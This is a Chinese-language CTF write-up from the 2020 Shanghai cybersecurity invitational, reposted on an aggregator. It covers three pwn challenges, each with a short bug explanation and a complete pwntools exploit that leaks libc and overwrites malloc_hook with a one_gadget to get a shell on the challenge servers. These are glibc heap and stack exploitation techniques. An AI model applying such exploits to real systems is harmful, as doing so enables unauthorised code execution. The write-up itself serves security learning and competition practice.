8

第六届上海市网络安全邀请赛2020CTF部分wp

 3 years ago
source link: http://chumen77.xyz/2020/11/14/%E7%AC%AC%E5%85%AD%E5%B1%8A%E4%B8%8A%E6%B5%B7%E5%B8%82%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8%E9%82%80%E8%AF%B7%E8%B5%9B2020CTF%E9%83%A8%E5%88%86wp/
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
neoserver,ios ssh client

第六届上海市网络安全邀请赛2020CTF部分wp

echo "ZmxhZ3t3MzFjMG1lNX0=" | base64 -d | tr 5 6
flag{w31c0me6}

lgtwo

v1 = sizelist[i];
   sizelist[i] = v1 + 1;

Add函数存在off by one

  • off by one 构造chunk overlaping
  • 攻击stdout,泄漏libc地址
  • 再次off by one 构造chunk overlaping,攻击malloc hook
  • 改为one gadget,使用realloc 进行调节堆栈
#!/usr/bin/env python
# encoding: utf-8
from pwn import *
import time
local_file  = './pwn'
elf = ELF(local_file)
context.log_level = 'debug'
debug = 0
if debug:
    io = process(local_file)
    libc = elf.libc
else:
    io = remote('123.56.52.128',45830)
    # icqc4afd0d16403ab6b957cf18a53c6f
    libc = elf.libc
    #libc = ELF('.')
context.arch = elf.arch
context.terminal = ['tmux','neww']
#,''splitw','-h'
rce16 = [0x45216,0x4526a,0xf02a4,0xf1147]
rce18 = [0x4f2c5,0x4f322,0x10a38c]
realloc = [0x2,0x4,0x6,0xB,0xC,0xD]
arae16 = 0x3c4b78
arae18 = 0x3ebca0
s      = lambda data               :io.send(data) 
sa      = lambda delim,data         :io.sendafter(delim, data)
sl      = lambda data               :io.sendline(data)
sla     = lambda delim,data         :io.sendlineafter(delim, data)
r      = lambda numb=4096          :io.recv(numb)
ru      = lambda delims, drop=True  :io.recvuntil(delims, drop)
uu32    = lambda data               :u32(data.ljust(4, '\0'))
uu64    = lambda data               :u64(data.ljust(8, '\0'))
info_addr = lambda tag, addr        :io.info(tag + '==>' +': {:#x}'.format(addr))
itr     = lambda                    :io.interactive()
def debug():
    # gdb.attach(proc.pidof(io)[0],gdbscript='b main')
    gdb.attach(io)
    pause()

def add(size,data):
    sla('>','1')
    sla("?",str(size))
    sa("?",str(data))

def free(idx):
    sla('>','2')
    sla('?',str(idx))

def edit(idx,data):
    sla('>','4')
    sla("?",str(idx))
    sa("?",str(data)) 
def leak_addr():
    add(0x1000,'1')
    add(0x18,'1')#1
    free(0)
    add(0x68,'1')#0
    add(0x68,'1')#2
    add(0x68,'1')
    add(0x68,'1')
    add(0x18,'1')#5
    edit(0,'\x00'*0x68 +  '\xe1')
    free(2)
    add(0x68,'1') #1
    add(0x68,'1') #4
    free(0)
    free(3)
    edit(6,'\x70')
    edit(2,p16(0xa5dd))
    add(0x68,'1')
    add(0x68,'1')
    payload = 6 * p64(0) + 3 * '\x00' + p64(0xfbad3c80) + '\x00' * 8 * 3 + '\x00'
    add(0x68,'1')
    edit(7,payload)

leak = 0
while True:
    try:
        leak_addr()
        ss = io.recvuntil(chr(0x7f),timeout = 0.5)
        if len(ss) == 0:
            raise Exception('')
        io.recv(16)
        leak = u64(io.recv(8))
        if leak == 0x320a6464412e310a:
            raise Exception('')
        break
    except Exception:
        io.close()
        # io = process('./pwn')
        # io = remote('node3.buuoj.cn',28690)
        io = remote('123.56.52.128',45830)
        continue

leak = leak >> 16
info_addr('leak',leak)
libc_base = leak - 0x3c56a3
info_addr('libc_base',libc_base)
malloc_hook = 0x3c4aed + libc_base
sys_addr = 324832+libc_base

add(0x68,'1')#8
add(0x68,'1')#9
add(0x68,'1')
add(0x18,'1')#11
edit(8,'\x00'*0x68 +  '\xe1')
free(9)
add(0x68,'1') #9
add(0x68,'1') #12
# debug()
free(10)
edit(12,p64(malloc_hook))
add(0x68,'1')
one = 0xf0364 + libc_base
add(0x68,p64(one))
realloc = libc_base + libc.symbols['realloc'] + realloc[3]
payload = '\x00' *3 + p64(0)  + p64(one)+ p64(realloc) 
edit(13,payload)
# debug()
itr()

# 0x45226 execve("/bin/sh", rsp+0x30, environ)
# constraints:
#   rax == NULL

# 0x4527a execve("/bin/sh", rsp+0x30, environ)
# constraints:
#   [rsp+0x30] == NULL

# 0xf0364 execve("/bin/sh", rsp+0x50, environ)
# constraints:
#   [rsp+0x50] == NULL

# 0xf1207 execve("/bin/sh", rsp+0x70, environ)
# constraints:
#   [rsp+0x70] == NULL

EASY_ABNORMAL_

  • uaf (del的函数)
  • fmt (show name 的函数)
  • 后门函数存在栈溢出

先用fmt泄漏出来栈地址 libc地址备用,然后发现只能申请2次的chunk,已经不能进行fastbin attack,只能泄漏一下heap地址,重点研究下后门函数。

unsigned __int64 sub_11A8()
{
  _QWORD *v0; // rax
  char buf; // [rsp+10h] [rbp-20h]
  unsigned __int64 v3; // [rsp+28h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  printf("INPUT:");
  prctl(22, 2LL, &unk_202070);
  if ( (signed int)read(0, &buf, 0x28uLL) > 0x10 ) //溢出
  {
    v0 = (_QWORD *)_cxa_allocate_exception(8LL, &buf);
    *v0 = "YOU ARE TOO YOUNG!";
    _cxa_throw(v0, &`typeinfo for'char const*, 0LL);
  }
  return __readfsqword(0x28u) ^ v3;
}

发现了存在8字节的栈溢出,可以溢出到rbp,但是此时已经破坏了canary。

去百度后发现_cxa_allocate_exception的妙用,覆盖好rbp后,其可以完成过canary的检测且可以配合上层函数的leave ret,完成一个栈迁移的效果。

参考链接:
https://www.anquanke.com/post/id/89855#h3-8

所以就覆盖rbp为heap的地址,在上面存好one gadget 地址,ret 上去即可。

#!/usr/bin/env python
# encoding: utf-8
from pwn import *
import time
local_file  = './pwn'
elf = ELF(local_file)
context.log_level = 'debug'
debug = 0
if debug:
    io = process(local_file)
    libc = elf.libc
else:
    io = remote('123.56.52.128',10012)
    libc = elf.libc
    #libc = ELF('.')
context.arch = elf.arch
context.terminal = ['tmux','neww']
#,''splitw','-h'
rce16 = [0x45216,0x4526a,0xf02a4,0xf1147]
realloc = [0x2,0x4,0x6,0xB,0xC,0xD]
arae16 = 0x3c4b78
s      = lambda data               :io.send(data) 
sa      = lambda delim,data         :io.sendafter(delim, data)
sl      = lambda data               :io.sendline(data)
sla     = lambda delim,data         :io.sendlineafter(delim, data)
r      = lambda numb=4096          :io.recv(numb)
ru      = lambda delims, drop=True  :io.recvuntil(delims, drop)
uu32    = lambda data               :u32(data.ljust(4, '\0'))
uu64    = lambda data               :u64(data.ljust(8, '\0'))
info_addr = lambda tag, addr        :io.info(tag + '==>' +': {:#x}'.format(addr))
itr     = lambda                    :io.interactive()
def debug():
    # gdb.attach(proc.pidof(io)[0],gdbscript='b main')
    gdb.attach(io)
    pause()

def add(data):
    sla('CHOICE','2')
    sla(':',str(data))

def free(idx):
    sla('CHOICE','3')
    sla('idx',str(idx))

def show():
    sla('CHOICE','4')
    # sla('dex>',str(idx))

sla('E:','%p%p')
sla('CHOICE','1')
ru('0x')
stackbase = int(r(12),16)
info_addr('stackbase',stackbase)
ru('0x')
libcbase = int(r(12),16) - 0x3c6780
info_addr('libcbase',libcbase)
one = libcbase + 0x45226
add(p64(0) + p64(one)*6)
add(p64(0) + p64(one)*6)
free(0)
free(1)
show()
# debug()
ru('2:')
heap = uu64(r(6))
info_addr('heap',heap)
sla('CHOICE','23333')
payload = '1' * 0x10 + p64(0) * 2 + p64(heap+0x90)
sa('INPUT',str(payload))
itr()
Cn5xPl.png

maj0rone

加了一堆的混淆代码,实际调试起来发现并不难。

  • uaf (del函数)
  • 堆溢出 (add函数,搭配edit函数进行堆溢出)

其中堆溢出是因为:

vddacU.png

9hGiy8.png

RuLBaK.png

其snprintf的返回值可以由输入的字符串长度控制,也导致了sizelist上的size被控制,申请一个小点的chunk,但是给了读入大于其长度size的字符串,即造成溢出。

其中add函数,上来的问question的check函数:

if ( input <= 512 )
   v3 = input;
 if ( v3 <= 300 )
   v4 = input;
 else
   v4 = 300;
 if ( v4 >= 150 )
   v5 = 150;
 else
   v5 = input;
 if ( v5 <= 80 )
   v6 = 80;
 else
   v6 = input;
 v9 = v6;
 if ( v6 <= 80 )
   v6 = 80;
 if ( v6 >= 83 )
   v7 = 80;
 else
   v7 = v9;
 return v7 == input;

输入80即可。

  • 利用uaf 和堆溢出,来fastbin attack 打stdout,泄漏libc
  • 再次fastbin attack打malloc hook 为 one gadget
  • 用realloc调节堆栈
#!/usr/bin/env python
# encoding: utf-8
# icqc4afd0d16403ab6b957cf18a53c6f
from pwn import *
import time
local_file  = './pwn'
elf = ELF(local_file)
context.log_level = 'debug'
debug = 0
if debug:
    io = process(local_file)
    libc = elf.libc
else:
    io = remote('123.56.52.128',18523)
    libc = elf.libc
    #libc = ELF('.')
context.arch = elf.arch
context.terminal = ['tmux','neww']
#,''splitw','-h'
rce16 = [0x45216,0x4526a,0xf02a4,0xf1147]
rce18 = [0x4f2c5,0x4f322,0x10a38c]
realloc = [0x2,0x4,0x6,0xB,0xC,0xD]
arae16 = 0x3c4b78
arae18 = 0x3ebca0
s      = lambda data               :io.send(data) 
sa      = lambda delim,data         :io.sendafter(delim, data)
sl      = lambda data               :io.sendline(data)
sla     = lambda delim,data         :io.sendlineafter(delim, data)
r      = lambda numb=4096          :io.recv(numb)
ru      = lambda delims, drop=True  :io.recvuntil(delims, drop)
uu32    = lambda data               :u32(data.ljust(4, '\0'))
uu64    = lambda data               :u64(data.ljust(8, '\0'))
info_addr = lambda tag, addr        :io.info(tag + '==>' +': {:#x}'.format(addr))
itr     = lambda                    :io.interactive()
def debug():
    # gdb.attach(proc.pidof(io)[0],gdbscript='b main')
    gdb.attach(io)
    pause()

def choose(idx):
    sla(">> ", str(idx))

def add(sz, ctx):
    choose(1)
    sla('que',str(80))
    sla("__?", str(sz))
    sa("no?", str(ctx))

def free(idx):
    choose(2)
    sla("ex ?", str(idx))

def show(idx):
    choose(3)
    sla("?", str(idx))

def edit(idx, ctx):
    choose(4)
    sla("ex ?", str(idx))
    sa("__new_content", str(ctx))
def leak_addr():
    add(0x1000,'1') 
    add(0x68, "a"*0x100) #1
    free(0)
    add(0x68, "a"*0x100)
    #0
    add(0x68, "a"*0x100)
    # 2
    add(0x68, "a"*0x100)
    # 3
    add(0x68, "a"*0x100)
    # 4
    free(0)
    free(3)
    edit(3,'\xe0')
    edit(4,p16(0xa5dd))
    add(0x68,'1')
    add(0x68,'1')

    payload = 6 * p64(0) + 3 * '\x00' + p64(0xfbad3c80) + '\x00' * 8 * 3 + '\x00'
    add(0x68,'1')
    edit(8,payload)

leak = 0
while True:
    try:
        leak_addr()
        ss = io.recvuntil(chr(0x7f),timeout = 0.5)
        if len(ss) == 0:
            raise Exception('')
        io.recv(16)
        leak = u64(io.recv(8))
        if leak == 0x320a6464412e310a:
            raise Exception('')
        break
    except Exception:
        io.close()
        # io = process('./pwn')
        # io = remote('node3.buuoj.cn',28690)
        io = remote('123.56.52.128',18523)
        continue

leak = leak >> 16
info_addr('leak',leak)
libc_base = leak - 0x3c56a3
info_addr('libc_base',libc_base)
malloc_hook = 0x3c4aed + libc_base

free(0)
edit(0,p64(malloc_hook))
# debug()
add(0x68,'1')
add(0x68,'1')
one = 0xf0364 + libc_base
realloc = libc_base + libc.symbols['realloc'] + realloc[3]
payload = '\x00' *3 + p64(0)  + p64(one)+ p64(realloc) 
edit(10,payload)
itr()

About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK